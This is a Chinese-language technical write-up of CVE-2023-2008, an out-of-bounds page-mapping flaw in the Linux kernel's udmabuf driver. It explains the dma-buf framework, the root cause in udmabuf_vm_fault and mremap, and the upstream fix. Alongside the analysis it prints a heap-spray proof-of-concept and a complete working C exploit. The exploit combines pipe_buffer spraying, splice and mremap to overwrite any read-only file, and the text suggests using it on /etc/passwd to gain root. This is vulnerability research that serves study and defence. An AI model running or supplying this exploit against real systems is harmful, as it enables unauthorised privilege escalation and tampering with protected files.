0x00. 一切开始之前
CVE-2023-2008 是一个发生在 Linux 内核的 dma-buf 子系统 的 /dev/udmabuf
设备驱动中的一个漏洞,由于缺乏对范围扩张后的 udmabuf::pages
的边界检查,导致攻击者可以完成越界页面指针映射,从而完成越权文件写入攻击以进行提权;该漏洞影响版本为 4.20 ~ 5.4.201
、5.5 ~ 5.10.126
、5.11~5.15.50
、5.16 ~ 5.18.7
,本文我们选用 5.11
版本的内核源码进行分析
原本打算在 2025 年到来之前写完发出去的,结果今晚被导师叫出去吃大餐,所以最后拖到了 2025 年的第一天凌晨才慢慢写完:)
在开始之前,我们先补充一些 dma-buf 与 udmabuf 的基础知识
基本原理
dma-buf 子系统 为不同设备驱动与其他子系统提供了一个方便统一的 内存共享框架 ,常用于 GPU 及显示驱动等,其主要有三个用于交互的部分:
dma-buf
:表示一个 sg_table
,并作为文件描述符导出到用户空间以允许在进程、子系统、设备间传递(注:UNIX domain socket)
dma-fence
:提供了对异步硬件操作是否完成的检测机制
dma-resv
:为一个特定的 dma-buf
管理一组 dma-fence
,通过隐式的(内核排序的)同步工作以保持表面上的一致访问
在 dma-buf 框架中主要有两个对象,分别是:
exporter
:共享内存的生产者(内核驱动)
- 负责为内存实现
struct dma_buf_ops
操作函数表
- 允许通过 dma_buf API 共享内存
- 通过
struct dma_buf
管理内存分配的细节
- 决定实际的分配,并负责所有共享用户的 scatterlist (page 为单位的物理连续内存块)迁移
importer/user
:共享内存的消费者(可以是用户态程序也可以是内核态驱动)
- 不关心内存来源
- 通过
struct dma_buf_attachment
接口访问共享内存(一般通过共享的文件描述符获取)
<!-- -->
扩展阅读:sg_table 与 scatterlist - 离散连续内存
简而言之,单个 scatterlist
用来表示一块 物理连续 的 以页为单位 的内存块,sg_table
则表示一个离散 scatterlist
数组:
struct scatterlist {
unsigned long page_link;
unsigned int offset;
unsigned int length;
dma_addr_t dma_address;
#ifdef CONFIG_NEED_SG_DMA_LENGTH
unsigned int dma_length;
#endif
#ifdef CONFIG_NEED_SG_DMA_FLAGS
unsigned int dma_flags;
#endif
};
struct sg_table {
struct scatterlist *sgl; /* the list */
unsigned int nents; /* number of mapped entries */
unsigned int orig_nents; /* original size of list */
};
其通常结构如下图所示:
对于分配的 scatterlist 数组长度大于一张内存页的情况,其会被分割成多块,其中单张 scatterlist 数组页面上的最后一个成员的 page_link
字段会用于标识是否存在下一份页面以及下一份 scatterlist 页面所在内存页:
具体而言,dma-buf 的通常使用流程如下:
-
exporter 侧用 DEFINE_DMA_BUF_EXPORT_INFO()
创建一个临时 dma_buf_export_info
结构体,并定义导出信息,这通常包括:
::ops
:自定义的 struct dma_buf_ops
::priv
:自定义私有数据的指针
::size
:共享内存大小
::flags
:内存读写权限
-
exporter 侧调用 dma_buf_export()
创建 dma_buf
对象
-
exporter 侧调用 dma_buf_fd()
将 dma_buf
对象关联到一个新的文件描述符 fd
中(注:使用 fd 进行传递是比较常见的方式,但不唯一)
-
exporter 侧将 fd
传给 importer
-
importer 调用 dma_buf_get(fd)
获取 dma_buf
对象
-
importer 调用 dma_buf_attach()
和 dma_buf_map_attachment()
获取共享缓存的信息
-
importer 使用 sg_table
的内容
-
importer 调用 dma_buf_detach()
和 dma_buf_unmap_attachment()
释放对 dma_buf
的引用
-
importer 调用 dma_buf_put(fd)
释放文件描述符
对于涉及用户态的 DMA-BUF 使用而言,将 dma_buf
封装到 fd 当中通常是必须的:exporter 获取共享内存对应的 dma-buf
的文件描述符 fd
,通过 ioctl 或是 UNIX domain socket 等方式发送给 importer,importer 再 mmap(fd)
以访问共享内存:
需要注意的是 exporter 与 importer 并不总是分离的,也可以有同时存在于同一驱动的情况(例如 DRM)
udmabuf:简易封装接口
得益于 dma_buf
的好用,Linux kernel 于 2018 年引入了一个封装好的 dma_buf
设备驱动——udmabuf
,其在内核中实现了一个封装好的 exporter,并支持通过 ioctl()
创建 dma_buf
以在用户态程序之间进行内存共享
udmabuf
的基本使用方式非常简单:
- 使用
memfd_create()
创建一个文件描述符
- 封装
udmabuf_create
请求,通过 ioctl("/dev/udmabuf")
获取 dma_buf
的 fd
- 通过
mmap()
进行访问
有了 dma_buf
的 fd,后面的内存访问操作就和之前没什么区别了,在进程间进行共享只需要共享这个文件描述符即可(例如使用 UNIX domain socket)
udmabuf 的实现非常简单,主要就是注册了一个杂项设备 /dev/udmabuf
,并支持两个自定义的 IOCTL 命令:
/drivers/dma-buf/udmabuf.c
static long udmabuf_ioctl(struct file *filp, unsigned int ioctl,
unsigned long arg)
{
long ret;
switch (ioctl) {
case UDMABUF_CREATE:
ret = udmabuf_ioctl_create(filp, arg);
break;
case UDMABUF_CREATE_LIST:
ret = udmabuf_ioctl_create_list(filp, arg);
break;
default:
ret = -ENOTTY;
break;
}
return ret;
}
static const struct file_operations udmabuf_fops = {
.owner = THIS_MODULE,
.unlocked_ioctl = udmabuf_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = udmabuf_ioctl,
#endif
};
static struct miscdevice udmabuf_misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "udmabuf",
.fops = &udmabuf_fops,
};
udmabuf_ioctl_create()
与 udmabuf_ioctl_create_list()
最终都会调用到 udmabuf_create()
,其会按照 DMA-BUF 的常规流程创建一个 dma_buf()
并分配对应的内存页:
static long udmabuf_create(struct miscdevice *device,
struct udmabuf_create_list *head,
struct udmabuf_create_item *list)
{
DEFINE_DMA_BUF_EXPORT_INFO(exp_info);
struct file *memfd = NULL;
struct udmabuf *ubuf;
struct dma_buf *buf;
pgoff_t pgoff, pgcnt, pgidx, pgbuf = 0, pglimit;
struct page *page;
int seals, ret = -EINVAL;
u32 i, flags;
ubuf = kzalloc(sizeof(*ubuf), GFP_KERNEL);
if (!ubuf)
return -ENOMEM;
pglimit = (size_limit_mb * 1024 * 1024) >> PAGE_SHIFT;
for (i = 0; i < head->count; i++) {
if (!IS_ALIGNED(list[i].offset, PAGE_SIZE))
goto err;
if (!IS_ALIGNED(list[i].size, PAGE_SIZE))
goto err;
ubuf->pagecount += list[i].size >> PAGE_SHIFT;
if (ubuf->pagecount > pglimit)
goto err;
}
ubuf->pages = kmalloc_array(ubuf->pagecount, sizeof(*ubuf->pages),
GFP_KERNEL);
if (!ubuf->pages) {
ret = -ENOMEM;
goto err;
}
pgbuf = 0;
for (i = 0; i < head->count; i++) {
ret = -EBADFD;
memfd = fget(list[i].memfd);
if (!memfd)
goto err;
if (!shmem_mapping(file_inode(memfd)->i_mapping))
goto err;
seals = memfd_fcntl(memfd, F_GET_SEALS, 0);
if (seals == -EINVAL)
goto err;
ret = -EINVAL;
if ((seals & SEALS_WANTED) != SEALS_WANTED ||
(seals & SEALS_DENIED) != 0)
goto err;
pgoff = list[i].offset >> PAGE_SHIFT;
pgcnt = list[i].size >> PAGE_SHIFT;
for (pgidx = 0; pgidx < pgcnt; pgidx++) {
page = shmem_read_mapping_page(
file_inode(memfd)->i_mapping, pgoff + pgidx);
if (IS_ERR(page)) {
ret = PTR_ERR(page);
goto err;
}
ubuf->pages[pgbuf++] = page;
}
fput(memfd);
memfd = NULL;
}
exp_info.ops = &udmabuf_ops;
exp_info.size = ubuf->pagecount << PAGE_SHIFT;
exp_info.priv = ubuf;
exp_info.flags = O_RDWR;
ubuf->device = device;
buf = dma_buf_export(&exp_info);
if (IS_ERR(buf)) {
ret = PTR_ERR(buf);
goto err;
}
flags = 0;
if (head->flags & UDMABUF_FLAGS_CLOEXEC)
flags |= O_CLOEXEC;
return dma_buf_fd(buf, flags);
err:
while (pgbuf > 0)
put_page(ubuf->pages[--pgbuf]);
if (memfd)
fput(memfd);
kfree(ubuf->pages);
kfree(ubuf);
return ret;
}
因此实际上 udmabuf
相当于一个预封装好了的 DMA-BUF
接口,用户态进程只需要直接请求便能获取一份共享内存并通过对应绑定的文件描述符进行访问
0x01. 漏洞分析
Root Cause
在 udmabuf
驱动当中,udmabuf
结构体被用以表示一份与一个 DMA-BUF
绑定的共享内存:
struct udmabuf {
pgoff_t pagecount;
struct page **pages;
};
众所周知 dma_buf
内存在用户态一般通过 mmap()
访问,当我们第一次读写 mmap()
的 udmabuf
所给的 dma_buf
的内存时,会触发缺页异常以分配内存页,因为在创建 dma_buf
时有如下调用链:
ksys_ioctl()
do_vfs_ioctl()
vfs_ioctl()
filp->f_op->unlocked_ioctl() /* udmabuf_misc.fops = &udmabuf_fops */
udmabuf_ioctl()
udmabuf_ioctl_create() /* 或者 list */
udmabuf_create()
在 udmabuf_create()
中会初始化 dma_buf
的函数表为 udmabuf_ops
:
static const struct dma_buf_ops udmabuf_ops = {
.map_dma_buf = map_udmabuf,
.unmap_dma_buf = unmap_udmabuf,
.release = release_udmabuf,
.map = kmap_udmabuf,
.unmap = kunmap_udmabuf,
.mmap = mmap_udmabuf,
};
static long udmabuf_create(const struct udmabuf_create_list *head,
const struct udmabuf_create_item *list)
{
DEFINE_DMA_BUF_EXPORT_INFO(exp_info);
/* ... */
exp_info.ops = &udmabuf_ops;
exp_info.size = ubuf->pagecount << PAGE_SHIFT;
exp_info.priv = ubuf;
exp_info.flags = O_RDWR;
在 mmap_udmabuf()
当中为 mmap 对应的 vm_area_struct
配置了函数表 udmabuf_vm_ops
:
static const struct vm_operations_struct udmabuf_vm_ops = {
.fault = udmabuf_vm_fault,
};
static int mmap_udmabuf(struct dma_buf *buf, struct vm_area_struct *vma)
{
struct udmabuf *ubuf = buf->priv;
if ((vma->vm_flags & (VM_SHARED | VM_MAYSHARE)) == 0)
return -EINVAL;
vma->vm_ops = &udmabuf_vm_ops;
vma->vm_private_data = ubuf;
return 0;
}
因此在缺页异常时最终会调用到 udmabuf_vm_fault()
函数,从 udmabuf::pages
中取出对应的内存页:
static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
struct udmabuf *ubuf = vma->vm_private_data;
vmf->page = ubuf->pages[vmf->pgoff];
get_page(vmf->page);
return 0;
}
注意到 udmabuf_vm_fault()
函数并未对 vmf->pgoff
的大小进行检查,这是因为 dma-buf
的 mmap()
路径会调用到 dma_buf_mmap_internal()
,在其中会先进行范围检查后再调用 dmabuf->ops->mmap()
,因此在 正常读写 的情况下并不会超出 udmabuf::pages
的范围:
static int dma_buf_mmap_internal(struct file *file, struct vm_area_struct *vma)
{
struct dma_buf *dmabuf;
if (!is_dma_buf_file(file))
return -EINVAL;
dmabuf = file->private_data;
/* check if buffer supports mmap */
if (!dmabuf->ops->mmap)
return -EINVAL;
/* check for overflowing the buffer's size */
if (vma->vm_pgoff + vma_pages(vma) >
dmabuf->size >> PAGE_SHIFT)
return -EINVAL;
return dmabuf->ops->mmap(dmabuf, vma);
}
static const struct file_operations dma_buf_fops = {
/* ... */
.mmap = dma_buf_mmap_internal,
但这存在一个问题—— mmap()
所映射的区域是可以被扩展(expand)和收缩(shrink)的,这一般可以通过 mremap()
系统调用完成:
mremap()
可以改变一个 vm_area_struct
的地址空间大小,而这个功能默认开启,若要限制则需要在 mmap 时为 vm_area_struct::vm_flags
添加 VM_DONTEXPAND
标志位
以 kcov_mmap()
为例:
static int kcov_mmap(struct file *filep, struct vm_area_struct *vma)
{
/* ... */
vma->vm_flags |= VM_DONTEXPAND;
而 udmabuf
的 mmap()
路径上 并未为 vm_area_struct 添加任何限制,这意味着可以直接用 mremap 改变内存块的大小 ——这意味着 mmap 区域的缺页异常 可以超出 udmabuf::pages 的范围,将其相邻内存上的数据看作一个 page 指针进行映射 ——即存在越界读写漏洞
Proof-Of-Concept
现在我们来进行漏洞验证,我们首先在 udmabuf::pages
旁边堆喷一大堆的垃圾数据,之后再使用 mremap()
扩展 mmap()
区域,随后读写 mmap()
区域以触发缺页异常来触发内核越界读写:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>
#define SOCKET_NUM 8
#define SK_BUFF_NUM 4
#define UDMA_PAGE_NR 128
int init_socket_array(int sk_socket[SOCKET_NUM][2])
{
/* socket pairs to spray sk_buff */
for (int i = 0; i < SOCKET_NUM; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
printf("[x] failed to create no.%d socket pair!\n", i);
return -1;
}
}
return 0;
}
int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++) {
for (int j = 0; j < SK_BUFF_NUM; j++) {
if (write(sk_socket[i][0], buf, size) < 0) {
printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
return -1;
}
}
}
return 0;
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m Process binded to core \033[0m%d\n", core);
}
void proof_of_concept(void)
{
int dma_fd, dev_fd, mem_fd;
char *udma_buf, buf[0x1000];
struct udmabuf_create info;
int sk_socket[SOCKET_NUM][2];
/* prepare stage */
puts(" Preparing...");
bind_core(0);
if (init_socket_array(sk_socket) < 0) {
perror("Unable to create socket for heap spray");
exit(EXIT_FAILURE);
}
mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0) {
perror("Failed to create mem_fd");
exit(EXIT_FAILURE);
}
if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
perror("Failed to change size of mem_fd");
exit(EXIT_FAILURE);
}
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
perror("Failed to seal mem_fd");
exit(EXIT_FAILURE);
}
dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0) {
perror("Failed to open udmabuf dev file");
exit(EXIT_FAILURE);
}
strcpy(buf, "arttnba3");
/* first heap spray */
puts(" Spraying sk_buff...");
if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
perror("Failed to do the heap spray");
exit(EXIT_FAILURE);
}
/* allocate udmabuf::pages */
puts(" Allocating udmabuf...");
memset(&info, 0, sizeof(info));
info.memfd = mem_fd;
info.size = 0x1000 * UDMA_PAGE_NR;
dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
if (dma_fd < 0) {
perror("Failed to create dma_buf");
exit(EXIT_FAILURE);
}
/* second heap spray */
puts(" Spraying sk_buff...");
if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) {
perror("Failed to do the heap spray");
exit(EXIT_FAILURE);
}
/* mmap stage */
puts(" MMAP and MREMAP udmabuf...");
udma_buf = mmap(
NULL,
0x1000 * UDMA_PAGE_NR,
PROT_READ | PROT_WRITE,
MAP_FILE | MAP_SHARED,
dma_fd,
0
);
if (udma_buf == MAP_FAILED) {
perror("Failed to map dma_fd");
exit(EXIT_FAILURE);
}
udma_buf = mremap(
udma_buf,
0x1000 * UDMA_PAGE_NR,
0x1000 * (UDMA_PAGE_NR + 1),
MREMAP_MAYMOVE
);
if (udma_buf == MAP_FAILED) {
perror("Failed to mremap dma_buf area");
exit(EXIT_FAILURE);
}
/* trigger out-of-bound vulnerabilities */
puts(" Triggering...");
*(size_t*) &udma_buf[0x1000 * UDMA_PAGE_NR] = *(size_t*) "arttnba3";
}
int main(int argc, char **argv, char **envp)
{
proof_of_concept();
return 0; /* never arrive here... */
}
成功让内核尝试将我们的垃圾数据作为 struct page*
指针进行映射:
0x02. 漏洞利用
越界映射 pipe_buffer::page
完成文件越权读写
有了将越界数据作为 struct page
指针进行使用的权能,接下来我们考虑如何进行漏洞利用,我们不难想到的是可以将开头原生有着合法 struct page
指针的结构体作为 victim object
,而其中不难想到的是 struct pipe_buffer
:
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
而想到 pipe_buffer
,我们不难想到 CVE-2022-0847 ,即 dirty pipe
这一利用手法——通过 spice 系统调用将 pipe_buffer::page 映射为只读文件内容,从而完成越权写入操作 :
- 首先堆喷
pipe_buffer
- 接下来分配
udmabuf::pages
- 再堆喷
pipe_buffer
,从而确保能够将 udmabuf::pages
用 pipe_buffer
包围
- 通过 splice 系统调用映射只读文件到
pipe_buffer::page
- 通过漏洞映射
pipe_buffer::page
页面并改写内容
最终的 exp 如下:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/udmabuf.h>
#include <sched.h>
#include <errno.h>
#define PIPE_SPRAY_NR 128
#define UDMA_PAGE_NR 128
int prepare_pipe(int pipe_fd[PIPE_SPRAY_NR][2])
{
int err;
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
if ((err = pipe(pipe_fd[i])) < 0) {
printf("[x] failed to alloc %d pipe!", i);
return err;
}
}
return 0;
}
ssize_t splice_pipe(int pipe_fd[PIPE_SPRAY_NR][2], int victim_fd)
{
ssize_t err;
loff_t offset;
for (int i = 0; i < PIPE_SPRAY_NR; i++) {
offset = 0;
if ((err = splice(victim_fd, &offset, pipe_fd[i][1], NULL, 0x1000, 0)) < 0){
printf("[x] failed to splice %d pipe!", i);
return err;
}
}
return 0;
}
void bind_core(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m Process binded to core \033[0m%d\n", core);
}
void proof_of_concept(char *target_file, char *content)
{
int dma_fd, dev_fd, mem_fd, victim_fd;
char *udma_buf, buf[0x1000];
struct udmabuf_create info;
int pipe_fd1[PIPE_SPRAY_NR][2], pipe_fd2[PIPE_SPRAY_NR][2];
/* prepare stage */
puts(" Preparing...");
bind_core(0);
mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
if (mem_fd < 0) {
perror("Failed to create mem_fd");
exit(EXIT_FAILURE);
}
if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) {
perror("Failed to change size of mem_fd");
exit(EXIT_FAILURE);
}
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) {
perror("Failed to seal mem_fd");
exit(EXIT_FAILURE);
}
dev_fd = open("/dev/udmabuf", O_RDWR);
if (dev_fd < 0) {
perror("Failed to open udmabuf dev file");
exit(EXIT_FAILURE);
}
victim_fd = open(target_file, O_RDONLY);
if (victim_fd < 0) {
perror("Failed to open target victim file");
exit(EXIT_FAILURE);
}
strcpy(buf, "arttnba3");
/* first heap spray */
puts(" Spraying pipe_buffer...");
if (prepare_pipe(pipe_fd1) < 0) {
perror("Failed to spray pipe_buffer");
exit(EXIT_FAILURE);
}
/* allocate udmabuf::pages */
puts(" Allocating udmabuf...");
memset(&info, 0, sizeof(info));
info.memfd = mem_fd;
info.size = 0x1000 * UDMA_PAGE_NR;
dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info);
if (dma_fd < 0) {
perror("Failed to create dma_buf");
exit(EXIT_FAILURE);
}
/* second heap spray */
puts(" Spraying pipe_buffer...");
if (prepare_pipe(pipe_fd2) < 0) {
perror("Failed to spray pipe_buffer");
exit(EXIT_FAILURE);
}
/* mmap udmabuf stage */
puts(" MMAP and MREMAP udmabuf...");
udma_buf = mmap(
NULL,
0x1000 * UDMA_PAGE_NR,
PROT_READ | PROT_WRITE,
MAP_FILE | MAP_SHARED,
dma_fd,
0
);
if (udma_buf == MAP_FAILED) {
perror("Failed to map dma_fd");
exit(EXIT_FAILURE);
}
udma_buf = mremap(
udma_buf,
0x1000 * UDMA_PAGE_NR,
0x1000 * (UDMA_PAGE_NR + 1),
MREMAP_MAYMOVE
);
if (udma_buf == MAP_FAILED) {
perror("Failed to mremap dma_buf area");
exit(EXIT_FAILURE);
}
/* splicing pipe_buffer */
if (splice_pipe(pipe_fd1, victim_fd) < 0) {
perror("Failed to splice target fd");
exit(EXIT_FAILURE);
}
if (splice_pipe(pipe_fd2, victim_fd) < 0) {
perror("Failed to splice target fd");
exit(EXIT_FAILURE);
}
/* trigger out-of-bound vulnerabilities */
puts(" Triggering...");
strcpy((void*) &udma_buf[0x1000 * UDMA_PAGE_NR], content);
/* enjoy :) */
}
int main(int argc, char **argv, char **envp)
{
if (argc < 3) {
puts("[x] Usage: ./exploit target_file_path content");
exit(EXIT_FAILURE);
}
proof_of_concept(argv[1], argv[2]);
return 0;
}
运行,成功修改只读文件:
有了越权文件读写的权能,在实战当中能够玩的花样就多很多了,例如通过覆写 /etc/passwd
完成提权:)
需要注意的是,pipe_buffer
所使用的分配 flag 为 GFP_KERNEL_ACCOUNT
,在 5.9 ~ 5.14
这个内核版本范围外会使得其与 udmabuf::pages
分配自两个不同的 kmem_cache
,因此若是要在这些版本中利用该漏洞,则你可能需要一些 cross-cache overflow 与内核堆风水的技巧
0x03. 漏洞修复
这个漏洞最终在 这个 commit 当中被修复,修复方式是在 udmabuf_vm_fault()
当中添加了一个范围检查,笔者个人的感觉是 虽然漏洞是修复了但是修的挺简陋的,不够优雅,因为在笔者看来还应该在 mremap 的调用链当中加入范围检查
diff --git a/drivers/dma-buf/udmabuf.c b/drivers/dma-buf/udmabuf.c
index e7330684d3b824..9631f2fd2faf7f 100644
--- a/drivers/dma-buf/udmabuf.c
+++ b/drivers/dma-buf/udmabuf.c
@@ -32,8 +32,11 @@ static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf)
{
struct vm_area_struct *vma = vmf->vma;
struct udmabuf *ubuf = vma->vm_private_data;
+ pgoff_t pgoff = vmf->pgoff;
- vmf->page = ubuf->pages[vmf->pgoff];
+ if (pgoff >= ubuf->pagecount)
+ return VM_FAULT_SIGBUS;
+ vmf->page = ubuf->pages[pgoff];
get_page(vmf->page);
return 0;
}